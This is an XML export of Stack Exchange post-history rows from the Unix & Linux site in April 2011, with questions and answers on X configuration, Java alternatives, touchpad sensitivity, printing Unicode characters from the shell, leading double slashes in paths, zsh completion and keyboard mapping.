  <row Id="30032" PostHistoryTypeId="2" PostId="12277" RevisionGUID="741c261c-002b-4687-8914-cc15db90e60e" CreationDate="2011-04-29T07:15:31.350" UserId="4843" Text="To make sure that this is _NOT_ the problem with X itself, you have to observe the below commands:&#xD;&#xA;&#xD;&#xA;&gt; 1. X  =&gt; This will start the bare X with mouse pointer. If it comes, your X is fine. Press alt+ctrl+backspace to get back to console again.&#xD;&#xA;&#xD;&#xA;&gt; 2. Xorg -configure   =&gt; Configure the xorg.conf for the underlying hardware.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 3. Xorg -config ~/xorg.conf.new  =&gt; Start the X with this new config file.&#xD;&#xA;&#xD;&#xA;Here ~ is your home directory.&#xD;&#xA;&#xD;&#xA;This will start the X, with the configuration as per your ~/.xinitrc file. If you have the xterm, then create the ~/.xinitrc file as&#xD;&#xA;&#xD;&#xA;&gt; $ cat ~/.xinitrc&#xD;&#xA;&#xD;&#xA;&gt; xterm&#xD;&#xA;&#xD;&#xA;Make this file executable." />
  <row Id="30033" PostHistoryTypeId="5" PostId="12135" RevisionGUID="0dd3c4b5-b4f6-4911-8644-a0922d10be62" CreationDate="2011-04-29T07:20:22.297" UserId="6960" Comment="added 343 characters in body" Text="I want to use jre-1_5_0_21 on my Fedora 14 box. Here's whats installed on my PC: &#xD;&#xA;&#xD;&#xA;	$ update-alternatives --config java&#xD;&#xA;&#xD;&#xA;	There are 2 programs which provide 'java'.&#xD;&#xA;&#xD;&#xA;	  Selection    Command&#xD;&#xA;	-----------------------------------------------&#xD;&#xA;	*+ 1           /usr/lib/jvm/jre-1.6.0-openjdk/bin/java&#xD;&#xA;	   2           /usr/lib/jvm/jre-1.5.0-gcj/bin/java&#xD;&#xA;&#xD;&#xA;	Enter to keep the current selection[+], or type selection number: 1&#xD;&#xA;	failed to create /var/lib/alternatives/java.new: Permission denied&#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;rpm -qa&#xD;&#xA;&#xD;&#xA;	$ rpm -qa | grep -i java&#xD;&#xA;	java-1.6.0-openjdk-plugin-1.6.0.0-52.1.9.7.fc14.i686&#xD;&#xA;	java-1.6.0-openjdk-1.6.0.0-52.1.9.7.fc14.i686&#xD;&#xA;	java-1.5.0-gcj-1.5.0.0-34.fc14.i686&#xD;&#xA;	java_cup-0.11a-4.fc13.noarch&#xD;&#xA;	tzdata-java-2011d-3.fc14.noarch&#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;How can I have several versions of java installed on my PC, and selecting it by: &quot;update-alternatives --config java&quot;?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;UPDATE: so like when having several php versions on a webserver, I need to have several versions of JAVA, and it would be a practical thing to switch between the versions with &quot;update-alternatives&quot; then restart the webbrowser -&gt; then the applet, that needs previous version of java [...] would start simply [...]&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks!" />
  <row Id="30034" PostHistoryTypeId="2" PostId="12278" RevisionGUID="7b063f9f-836f-4a1a-a7f8-dd78fd57e3f9" CreationDate="2011-04-29T07:29:42.720" UserId="4063" Text="For the most part, I love my new Dell Latitude E6510.  However, the touch pad is driving me mad.  It's so sensitive that it will respond to my hands being *near* it, without actually touching it, if they are warm as when I come in from outside or finish doing dishes.  Typing is very difficult because I keep sending the mouse off on unintentional clicks and movements.&#xD;&#xA;&#xD;&#xA;I tried disabling the touchpad entirely, but I don't always have a surface to mouse on, and the eraser mouse isn't doing it for me.  I'd like to find a better way to deal with the problem -- possibly by decreasing touchpad sensitivity, having it turn off while typing and back on while not typing, or turning it on/off with a key combination.  I'm open to other ideas, too, if I've overlooked something.&#xD;&#xA;&#xD;&#xA;I'm running Funtoo stable.  My WM is XFCE4." />
  <row Id="30035" PostHistoryTypeId="1" PostId="12278" RevisionGUID="7b063f9f-836f-4a1a-a7f8-dd78fd57e3f9" CreationDate="2011-04-29T07:29:42.720" UserId="4063" Text="How can I manage an oversensitive touchpad?" />
  <row Id="30036" PostHistoryTypeId="3" PostId="12278" RevisionGUID="7b063f9f-836f-4a1a-a7f8-dd78fd57e3f9" CreationDate="2011-04-29T07:29:42.720" UserId="4063" Text="étouchpadà" />
  <row Id="30037" PostHistoryTypeId="5" PostId="12275" RevisionGUID="d2278f93-4eba-46a8-bb5f-2def01eac97f" CreationDate="2011-04-29T07:50:44.690" UserId="3384" Comment="added 1 characters in body" Text="Hello, I'm using Linux as my main OS for few years.  &#xD;&#xA;&#xD;&#xA;Before month or so, i tested apple magic track pad and i loved it since i am using laptop touch pad more than a mouse, it requires less movement of hand and it replaces the mouse perfectly up the point you need to draw something.  &#xD;&#xA;&#xD;&#xA;So i tried to find alternatives to it (dell or some other companies since apple production is overpriced), no luck. Any suggestions?" />
  <row Id="30038" PostHistoryTypeId="5" PostId="12276" RevisionGUID="a0bdfa69-0d6a-4fad-a956-5c6ea6380211" CreationDate="2011-04-29T07:57:21.283" UserId="1207" Comment="added 321 characters in body; added 36 characters in body; added 92 characters in body" Text="If you have GNU coreutils, try `printf`:&#xD;&#xA;&#xD;&#xA;    $ printf '\u0965\n'&#xD;&#xA;    ॥&#xD;&#xA;&#xD;&#xA;`echo` can do the job if your console is using UTF-8 and you have the UTF-8 encoding:&#xD;&#xA;&#xD;&#xA;    $ echo -e '\xE0\xA5\xA5'&#xD;&#xA;&#xD;&#xA;You can find a table of Unicode to UTF-8 hex encodings here: http://www.utf8-chartable.de/.  You can convert the Unicode code points to hex using a number of scripting languages.  Here is an example using python:&#xD;&#xA;&#xD;&#xA;    python -c &quot;print(unichr(int('0965', 16)).encode('utf-8').encode('hex'))&quot;&#xD;&#xA;&#xD;&#xA;The following is a Perl script that will convert arguments to the correct hex value (many unnecessary parenthesis here):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/perl&#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;    use 5.010;&#xD;&#xA;    use Encode;&#xD;&#xA;&#xD;&#xA;    foreach (@ARGV) {&#xD;&#xA;        say unpack('H*', encode('utf8', chr(hex($_))))&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For instance,&#xD;&#xA;&#xD;&#xA;    ./uni2utf 0965&#xD;&#xA;    e0a5a5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Of course, if you have Perl or Python you could also just use those to print the characters.  " />
  <row Id="30039" PostHistoryTypeId="2" PostId="12279" RevisionGUID="215decb0-eb5b-42a5-9a18-997f3583661d" CreationDate="2011-04-29T08:06:26.027" UserId="6167" Text="You can use bash's echo or /bin/echo from GNU coreutils in combination with iconv:&#xD;&#xA;&#xD;&#xA;    echo -ne '\x09\x65' | iconv -f utf-16be&#xD;&#xA;&#xD;&#xA;By default iconv converts to your locales encoding.  Perhaps more portable than relying on a specific shell or echo command is Perl.  Most any UNIX system I am aware of while have Perl available and it even have several Windows ports.&#xD;&#xA;&#xD;&#xA;    perl -C -e 'print chr 0x0965'&#xD;&#xA;&#xD;&#xA;Most of the time when I need to do this, I'm in an editor like Vim/GVim which has built-in support.  While in insert mode, hit Ctrl-V followed by u, then type four hex characters.  If you want a character beyond U+FFFF, use a capital U and type 8 hex characters.  Vim also supports custom easy to make keymaps.  It converts a series of characters to another symbol.  For example, I have a keymap I developed called www, it converts TM to ™, (C) to ©, (R) to ®, and so on.  I also have a keymap for Klingon for when that becomes necessary.  I'm sure Emacs has something similar.  If you are in a GTK+ app which includes GVim and GNOME Terminal, you can try Control-Shift-u followed by 4 hex characters to create a Unicode character.  I'm sure KDE/Qt has something similar." />
  <row Id="30040" PostHistoryTypeId="2" PostId="12280" RevisionGUID="e1b53289-501f-446e-9a1e-30fda835ed55" CreationDate="2011-04-29T08:13:26.197" UserId="7069" Text="There is software recordMyDesktop http://recordmydesktop.sourceforge.net/about.php which you can record any part of you screen you want. I use it to record my skype sessions.&#xD;&#xA;&#xD;&#xA;    sudo apt-get install recordmydesktop&#xD;&#xA;&#xD;&#xA;to install it from main channels." />
  <row Id="30041" PostHistoryTypeId="2" PostId="12281" RevisionGUID="649e2d4c-5918-4582-8463-fafd7444591b" CreationDate="2011-04-29T08:18:27.340" UserId="2759" Text="Not sure if you would consider something like KDE but all your needs are available in KWin (Kde's WM)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; 1 . Focus-follows-mouse *without* auto-raise. I.e., if I drag the mouse&#xD;&#xA;&gt; into a window which is partially&#xD;&#xA;&gt; obscured, that window gains focus but&#xD;&#xA;&gt; does *not* come to the front.&#xD;&#xA;&#xD;&#xA;Check http://docs.kde.org/stable/en/kdebase-workspace/kcontrol/windowbehaviour/index.html&#xD;&#xA;&#xD;&#xA;&gt; 2 . Multiple virtual desktops that I can switch between with the keyboard&#xD;&#xA;&gt; and that I can move windows between.&#xD;&#xA;&#xD;&#xA;You can have as many virtual desktops as you want.&#xD;&#xA;&#xD;&#xA;&gt; 3 . Modifier key + mouse window manipulation that can be configured to&#xD;&#xA;&gt; the following: &#xD;&#xA;&gt; &#xD;&#xA;&gt;    * left click + alt + shift = send&#xD;&#xA;&gt; to back if frontmost, otherwise raise&#xD;&#xA;&gt; to front    * right click + alt +&#xD;&#xA;&gt; shift = maximize window vertically&#xD;&#xA;&gt; (horizontal size unchanged)    *&#xD;&#xA;&gt; middle click + alt + shift = grab&#xD;&#xA;&gt; window and move it    * middle chord +&#xD;&#xA;&gt; alt + control + shift = resize (drag&#xD;&#xA;&gt; pointer to side or corner and move&#xD;&#xA;&gt; that side or corner)&#xD;&#xA;&#xD;&#xA;Easy to customize from the control panel (or manually if you need)." />
  <row Id="30042" PostHistoryTypeId="2" PostId="12282" RevisionGUID="286796ae-38a7-4981-9a2f-ce03a08bffd3" CreationDate="2011-04-29T08:47:39.687" UserId="7071" Text="The previous answer is _not_ the best practice for doing what you ask.&#xD;&#xA;Linux has an API for this. The `inotify` API http://linux.die.net/man/7/inotify&#xD;&#xA;&#xD;&#xA; 1. You can write a C program to do what you want just calling the `inotify` API directly&#xD;&#xA; 2. You can use kfsmd, http://www.linux.com/archive/feature/124903 a daemon that uses `inotify` &#xD;&#xA; 3. If you want something that works across platforms (`inotify` is Linux specific) and you are using Java, JNotify works across platforms(Linux, Mac, Windows), abstracting the native OS' underlying API. &#xD;&#xA;&#xD;&#xA;    " />
  <row Id="30043" PostHistoryTypeId="17" PostId="12284" RevisionGUID="38655c3a-780e-47c9-b710-0e500bc18b8f" CreationDate="2011-04-29T08:50:31.600" UserId="-1" Comment="from http://stackoverflow.com/questions/5827036/unix-difference-between-path-starting-with-and/5827202#5827202" Text="" />
  <row Id="30044" PostHistoryTypeId="17" PostId="12285" RevisionGUID="bdc1b0e9-6809-47a0-aef6-2eae2bb81d1d" CreationDate="2011-04-29T08:50:31.600" UserId="-1" Comment="from http://stackoverflow.com/questions/5827036/unix-difference-between-path-starting-with-and/5827384#5827384" Text="" />
  <row Id="30045" PostHistoryTypeId="2" PostId="12284" RevisionGUID="1b1ca5ba-f5cb-49b4-b9d1-767149cbe14b" CreationDate="2011-04-29T02:23:24.280" UserId="7064" Text="From the [POSIX Specification](http://pubs.opengroup.org/onlinepubs/000095399/basedefs/xbd_chap04.html#tag_04_11):&#xD;&#xA;&#xD;&#xA;&gt; A pathname that begins with two successive slashes may be interpreted in an implementation-defined manner, although more than two leading slashes shall be treated as a single slash.&#xD;&#xA;&#xD;&#xA;I assume Linux keeps this behavior in case there's a compelling future use. (I've always heard that Al Viro kept it in place because there is a feature from Plan9 that uses it, and he'd like to have that feature in Linux, but I'm having trouble finding that feature in my Plan9 documentation.)" />
  <row Id="30046" PostHistoryTypeId="2" PostId="12285" RevisionGUID="148f6d28-1caf-4fef-9301-fa02cb46747d" CreationDate="2011-04-29T03:01:47.863" UserId="5839" Text="All the trailing multiple slashes are ignored and treated as single slash.&#xD;&#xA;&#xD;&#xA;Even at the start also more than 2 slashes are ignored and treated as single slash only.&#xD;&#xA;&#xD;&#xA;The double slash (//) at the start also means root `/` directory but it still shows your CWD as `//` when you run pwd.&#xD;&#xA;&#xD;&#xA;Following command verify that `//` is also root dir same as `/`&#xD;&#xA;&#xD;&#xA;    $~&gt; cd /&#xD;&#xA;    $/&gt; pwd&#xD;&#xA;    /&#xD;&#xA;    $/&gt; stat -c &quot;%i&quot; .&#xD;&#xA;    2&#xD;&#xA;    $/&gt; cd //&#xD;&#xA;    $//&gt; pwd&#xD;&#xA;    //&#xD;&#xA;    $//&gt; stat -c &quot;%i&quot; .&#xD;&#xA;    2&#xD;&#xA;&#xD;&#xA;You can see **inode number** is 2 in both cases hence both are same directories." />
  <row Id="30047" PostHistoryTypeId="2" PostId="12283" RevisionGUID="01d37013-cf5d-4efc-895a-57aad0a497c7" CreationDate="2011-04-29T01:48:45.520" UserDisplayName="Shum" Text="In unix/linux, any number of consecutive forwardslashes in a path is generally equivalent to a single forwardslash. eg.&#xD;&#xA;&#xD;&#xA;    $ cd /home/shum&#xD;&#xA;    $ pwd&#xD;&#xA;    /home/shum&#xD;&#xA;    $ cd /home//shum&#xD;&#xA;    $ pwd&#xD;&#xA;    /home/shum&#xD;&#xA;    $ cd /home///shum&#xD;&#xA;    $ pwd&#xD;&#xA;    /home/shum&#xD;&#xA;&#xD;&#xA;Yet for some reason two forwardslashes at the beginning of an absolute path is treated specially. eg.&#xD;&#xA;&#xD;&#xA;    $ cd ////home&#xD;&#xA;    $ pwd&#xD;&#xA;    /home&#xD;&#xA;    $ cd ///&#xD;&#xA;    $ pwd&#xD;&#xA;    /&#xD;&#xA;    $ cd //&#xD;&#xA;    $ pwd&#xD;&#xA;    //&#xD;&#xA;    $ cd home//shum&#xD;&#xA;    $ pwd&#xD;&#xA;    //home/shum&#xD;&#xA;&#xD;&#xA;Any other number of consecutive forwardslashes anywhere else in a patch gets truncated, but two at the beginning will remain, even if you then navigate around the filesystem relative to it.&#xD;&#xA;&#xD;&#xA;Why is this? Is there any difference between /... and //... ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30048" PostHistoryTypeId="1" PostId="12283" RevisionGUID="01d37013-cf5d-4efc-895a-57aad0a497c7" CreationDate="2011-04-29T01:48:45.520" UserDisplayName="Shum" Text="unix, difference between path starting with '/' and '//'" />
  <row Id="30049" PostHistoryTypeId="3" PostId="12283" RevisionGUID="01d37013-cf5d-4efc-895a-57aad0a497c7" CreationDate="2011-04-29T01:48:45.520" UserDisplayName="Shum" Text="élinuxàépathà" />
  <row Id="30050" PostHistoryTypeId="17" PostId="12283" RevisionGUID="f5ce0e44-223d-45fe-b263-146fce32c8a4" CreationDate="2011-04-29T08:50:31.600" UserId="-1" Comment="from http://stackoverflow.com/questions/5827036/unix-difference-between-path-starting-with-and" Text="" />
  <row Id="30051" PostHistoryTypeId="2" PostId="12286" RevisionGUID="c83695db-5746-430a-966e-f3266bab7162" CreationDate="2011-04-29T08:58:32.333" UserId="2343" Text="A method I've come up with uses raw hex data as input (ie. no \u0965, no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Basho's Pond&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jups in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$charmap&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE data, first) &#xD;&#xA;&#xD;&#xA;    0042006100730068006F0027007300200050006F006E0064000A&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A00750070007300200069006E000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;&#xD;&#xA;    Basho's Pond&#xD;&#xA;      pond&#xD;&#xA;      frog jups in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30052" PostHistoryTypeId="25" PostId="12283" RevisionGUID="24abe017-0cae-4927-906c-a9defc216349" CreationDate="2011-04-29T09:09:21.893" Comment="http://twitter.com/#!/StackUnix/status/63892617934544896" />
  <row Id="30053" PostHistoryTypeId="2" PostId="12287" RevisionGUID="928815b5-e80d-4dc5-b23d-e97bbde33002" CreationDate="2011-04-29T09:11:19.283" UserId="7072" Text="I have hotspot connection. We first connect to wireless and enter a username / password on pppoe connection with windows.&#xD;&#xA;&#xD;&#xA;When I use the ubuntu (11.04) I have to use pppoeconf module. Today I setup this module. Then I connect. However, after the 30 seconds wireless will be disconnect. I connect to wireless, then again after the 30 seconds it will be disconnect.&#xD;&#xA;&#xD;&#xA;What can I do ? There is no problem driver (I think because when I dont use the pppoeconf, I try to connect to wireless, then did disconnected.What can I do ?&#xD;&#xA;&#xD;&#xA;Ever 30 seconds I connect the wireless,It's so boring" />
  <row Id="30054" PostHistoryTypeId="1" PostId="12287" RevisionGUID="928815b5-e80d-4dc5-b23d-e97bbde33002" CreationDate="2011-04-29T09:11:19.283" UserId="7072" Text="pppoe connection keeps disconnecting every 30 seconds" />
  <row Id="30055" PostHistoryTypeId="3" PostId="12287" RevisionGUID="928815b5-e80d-4dc5-b23d-e97bbde33002" CreationDate="2011-04-29T09:11:19.283" UserId="7072" Text="éubuntuàéwirelessà" />
  <row Id="30056" PostHistoryTypeId="5" PostId="12286" RevisionGUID="d7900a31-0980-4b33-9023-e02dc54a60e4" CreationDate="2011-04-29T09:14:22.823" UserId="2343" Comment="added 9 characters in body" Text="A method I've come up with uses raw hex data as input (ie. no \u0965, no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Basho's Pond&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jups in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$(locale charmap)&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE data, first) &#xD;&#xA;&#xD;&#xA;    0042006100730068006F0027007300200050006F006E0064000A&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A00750070007300200069006E000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;&#xD;&#xA;    Basho's Pond&#xD;&#xA;      pond&#xD;&#xA;      frog jups in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30057" PostHistoryTypeId="5" PostId="12286" RevisionGUID="cea89673-2185-433d-911b-0231f50be33a" CreationDate="2011-04-29T09:28:01.803" UserId="2343" Comment="added 10 characters in body" Text="A method I've come up with uses raw hex data as input (ie. no \u0965, no \x09\x65)..  &#xD;&#xA;`xxd` is a hex-dump utility (packaged with `vim-common`) which can revert a raw hex dump to the characters the dump represents... Unicode Codepoints are UTF-16BigEndian, which is exactly what  a Hex-dump is..  &#xD;&#xA;`xxd` in revert mode accepts a stream of Hex values with line breaks.which are ignored. &#xD;&#xA;&#xD;&#xA;This script creates a UTF-16BE stream, which it then reverts to the original chars.  &#xD;&#xA;The last line contains the two needed commands; `xxd` and `iconv` &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for line in \&#xD;&#xA;      &quot;Basho's Pond&quot; \&#xD;&#xA;      &quot;  pond&quot; \&#xD;&#xA;      &quot;  frog jups in&quot; \&#xD;&#xA;      &quot;  plop!&quot;&#xD;&#xA;    do &#xD;&#xA;      echo &quot;$line&quot; |iconv -f &quot;$(locale charmap)&quot; -t &quot;UTF-16BE&quot; |xxd -ps -u &#xD;&#xA;    done |&#xD;&#xA;    #    (---this is the **revert** code---) &#xD;&#xA;    tee &gt;(xxd -p -u -r |iconv -f &quot;UTF-16BE&quot;) ;echo&#xD;&#xA;&#xD;&#xA;Here is the output (showing the UTF-16BE hex-dump input, first) &#xD;&#xA;&#xD;&#xA;    0042006100730068006F0027007300200050006F006E0064000A&#xD;&#xA;    002000200070006F006E0064000A&#xD;&#xA;    0020002000660072006F00670020006A00750070007300200069006E000A&#xD;&#xA;    002000200070006C006F00700021000A&#xD;&#xA;&#xD;&#xA;    Basho's Pond&#xD;&#xA;      pond&#xD;&#xA;      frog jups in&#xD;&#xA;      plop!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30058" PostHistoryTypeId="17" PostId="12289" RevisionGUID="6e79e3c5-ce62-4388-a1f1-01e7442d5d39" CreationDate="2011-04-29T09:32:00.723" UserId="-1" Comment="from http://stackoverflow.com/questions/5765543/zsh-insert-completion-on-first-tab-even-if-ambiguous/5765637#5765637" Text="" />
  <row Id="30059" PostHistoryTypeId="2" PostId="12289" RevisionGUID="d49c886d-a583-4226-9505-8c20cc3f62c7" CreationDate="2011-04-23T17:06:31.630" UserId="5539" Text="Add this line to your `~/.zshrc`:&#xD;&#xA;&#xD;&#xA;    setopt menu_complete&#xD;&#xA;&#xD;&#xA;See `man zshoptions` for details." />
  <row Id="30060" PostHistoryTypeId="2" PostId="12288" RevisionGUID="18e6c574-e5a4-4619-99c8-d7c2d669ec3b" CreationDate="2011-04-23T16:49:15.960" UserDisplayName="rps" Text="Hello all,&#xD;&#xA;&#xD;&#xA;Currently ZSH displays a menu when I first hit tab and the completion is ambiguous. So, if I have 'cd ' in the command prompt and I hit tab, it will show the different available completions. If I hit tab again, it will select the first available completion. &#xD;&#xA;&#xD;&#xA;I would like to merge these two steps into a single press of the tab key. So, if I'm at 'cd ' and I tab, I would like ZSH to insert the first available match (when ambiguous) and display the menu, which I can then tab through if the first match wasn't the directory I had in mind.&#xD;&#xA;&#xD;&#xA;The ZSH setup tool put this in my .zshrc, in case any of this is affecting the behavior of my shell:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;zstyle ':completion:*' completer _expand _complete _ignored&#xD;&#xA;zstyle ':completion:*' list-colors ''&#xD;&#xA;zstyle ':completion:*' list-prompt %SAt %p: Hit TAB for more, or the character to insert%s&#xD;&#xA;zstyle ':completion:*' matcher-list 'm:{[:lower:][:upper:]}={[:upper:][:lower:]}' '' 'm:{[:lower:][:upper:]}={[:upper:][:lower:]}'&#xD;&#xA;zstyle ':completion:*' menu select=5&#xD;&#xA;zstyle ':completion:*' select-prompt %SScrolling active: current selection at %p%s&#xD;&#xA;zstyle :compinstall filename '/home/robb/.zshrc'&lt;/pre&gt;" />
  <row Id="30061" PostHistoryTypeId="1" PostId="12288" RevisionGUID="18e6c574-e5a4-4619-99c8-d7c2d669ec3b" CreationDate="2011-04-23T16:49:15.960" UserDisplayName="rps" Text="ZSH: insert completion on first tab even if ambiguous?" />
  <row Id="30062" PostHistoryTypeId="3" PostId="12288" RevisionGUID="18e6c574-e5a4-4619-99c8-d7c2d669ec3b" CreationDate="2011-04-23T16:49:15.960" UserDisplayName="rps" Text="ézshàézshrcà" />
  <row Id="30063" PostHistoryTypeId="17" PostId="12288" RevisionGUID="51413636-f1e2-46a3-b07d-aa0094e2413f" CreationDate="2011-04-29T09:32:00.723" UserId="-1" Comment="from http://stackoverflow.com/questions/5765543/zsh-insert-completion-on-first-tab-even-if-ambiguous" Text="" />
  <row Id="30064" PostHistoryTypeId="2" PostId="12290" RevisionGUID="097f5d40-8ed3-449f-92a1-4b249f821afe" CreationDate="2011-04-29T10:00:58.320" UserId="6215" Text="Could you please help me with mapping the spanish eñe letter and what application is suitable for this purpose (`xmodmap`, `xbindkeys`, ...).&#xD;&#xA;It should work as follows.&lt;br&gt;&#xD;&#xA;When I press&lt;br&gt;&#xD;&#xA;`Caps Lock + n` it will type `ñ`&lt;br&gt;&#xD;&#xA;`Caps Lock + N` it will type `Ñ`&lt;br&gt;&#xD;&#xA;&#xD;&#xA;I'd like to do this without switching keyboard layouts. I want to use only english keyboard layout.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="30065" PostHistoryTypeId="1" PostId="12290" RevisionGUID="097f5d40-8ed3-449f-92a1-4b249f821afe" CreationDate="2011-04-29T10:00:58.320" UserId="6215" Text="Set the key for spanish eñe letter" />
  <row Id="30066" PostHistoryTypeId="3" PostId="12290" RevisionGUID="097f5d40-8ed3-449f-92a1-4b249f821afe" CreationDate="2011-04-29T10:00:58.320" UserId="6215" Text="ékeyboardàéxmodmapà" />
  <row Id="30067" PostHistoryTypeId="2" PostId="12291" RevisionGUID="2f96445c-b07e-4889-9312-c093a4ffb7d0" CreationDate="2011-04-29T10:11:05.143" UserId="885" Text="For the most part, [repeated slahes in a path are equivalent to a single slash](http://unix.stackexchange.com/q/1910). This behavior is mandated by POSIX and most applications follow suit. The exception is that “a pathname that begins with two successive slashes may be interpreted in an implementation-defined manner” (but `///foo` is equivalent to `/foo`).&#xD;&#xA;&#xD;&#xA;Most unices don't do anything special with two initial slashes. Linux, in particular, doesn't. Cygwin does: `//hostname/path` accesses a network drive (SMB).&#xD;&#xA;&#xD;&#xA;What you're seeing is not, in fact, Linux doing anything special with `//`: it's bash's current directory tracking. Compare:&#xD;&#xA;&#xD;&#xA;    $ bash -c 'cd //; pwd'&#xD;&#xA;    //&#xD;&#xA;    $ bash -c 'cd //; /bin/pwd'&#xD;&#xA;    /&#xD;&#xA;&#xD;&#xA;Bash is taking the precaution that the OS might be treating `//` specially and keeping it. Dash does the same. Ksh and zsh don't when they're running on Linux, I guess (I haven't checked) they have a compile-time setting.&#xD;&#xA;" />
  <row Id="30068" PostHistoryTypeId="6" PostId="12283" RevisionGUID="c3c2926d-5762-4d6f-baa0-e3ea2cd0052f" CreationDate="2011-04-29T10:12:11.023" UserId="885" Comment="edited tags" Text="élinuxàébashàéfilenamesàéslashà" />
  <row Id="30069" PostHistoryTypeId="2" PostId="12292" RevisionGUID="afc0f7a0-c06d-4640-88da-38f3a4fd3401" CreationDate="2011-04-29T10:59:16.163" UserId="4671" Text="If you are using CUPS, you can manage jobs and do other things via the web interface at http://localhost:631. If you are not using CUPS, there are advantages to doing so, as it is now the printing standard, at least for Linux.&#xD;&#xA;&#xD;&#xA;CUPS is now owned by Apple, and unfortunately they require a &#xD;&#xA;[copyright assignment](http://www.cups.org/AppleContributorAgreement_2011-03-10.pdf). Maybe someone will fork.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30070" PostHistoryTypeId="17" PostId="12294" RevisionGUID="bc6c59bd-29d4-4f07-9694-6ef25446d055" CreationDate="2011-04-29T11:02:08.190" UserId="-1" Comment="from http://stackoverflow.com/questions/5822653/linux-firefox-snapping-open-tab-from-another-machine/5824191#5824191" Text="" />
  <row Id="30071" PostHistoryTypeId="17" PostId="12295" RevisionGUID="b8b4976d-ff3e-4e98-bf78-90c5154e8bd0" CreationDate="2011-04-29T11:02:08.190" UserId="-1" Comment="from http://stackoverflow.com/questions/5822653/linux-firefox-snapping-open-tab-from-another-machine/5826849#5826849" Text="" />
  <row Id="30072" PostHistoryTypeId="2" PostId="12294" RevisionGUID="e7a9fd13-5afb-41d4-8eaf-ea22fbde24b0" CreationDate="2011-04-28T19:55:05.777" UserDisplayName="Daenyth" Text="If by &quot;snapping&quot; you mean transferring one tab from one process on machine A, to another process on machine B, then no, you can't do that." />
  <row Id="30073" PostHistoryTypeId="2" PostId="12295" RevisionGUID="415651c3-f623-4a20-9bfc-cecb85c5c5e6" CreationDate="2011-04-29T01:15:02.230" UserDisplayName="holygeek" Text="Here's a strategy:&#xD;&#xA;&#xD;&#xA;1. Get the X window id of the browser window containing the current tab that you want to snap. You can use &lt;a href=&quot;http://tomas.styblo.name/wmctrl/&quot;&gt;wmctrl&lt;/a&gt; or &lt;a href=&quot;http://www.semicomplete.com/projects/xdotool/&quot;&gt;xdotool&lt;/a&gt; for this.&#xD;&#xA;&#xD;&#xA;2. Use ImageMagick's import command to &quot;snap&quot; the currently open tab:&#xD;&#xA;&#xD;&#xA;    $ import -windowid $window_id tabNNN.png&#xD;&#xA;&#xD;&#xA;3. Use some scripting to ask the browser to go to the next/previous tab in the list of open tabs. You can use xdotool to simulate the key presses or do a remote connection to the browser (chrome allows you to do this).&#xD;&#xA;&#xD;&#xA;4. Repeat from step 2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's a one liner that captures all open windows in X:&#xD;&#xA;&#xD;&#xA;    $ for i in `xdotool search .`;do import -windowid $i $i.png;done&#xD;&#xA;&#xD;&#xA;Good luck!" />
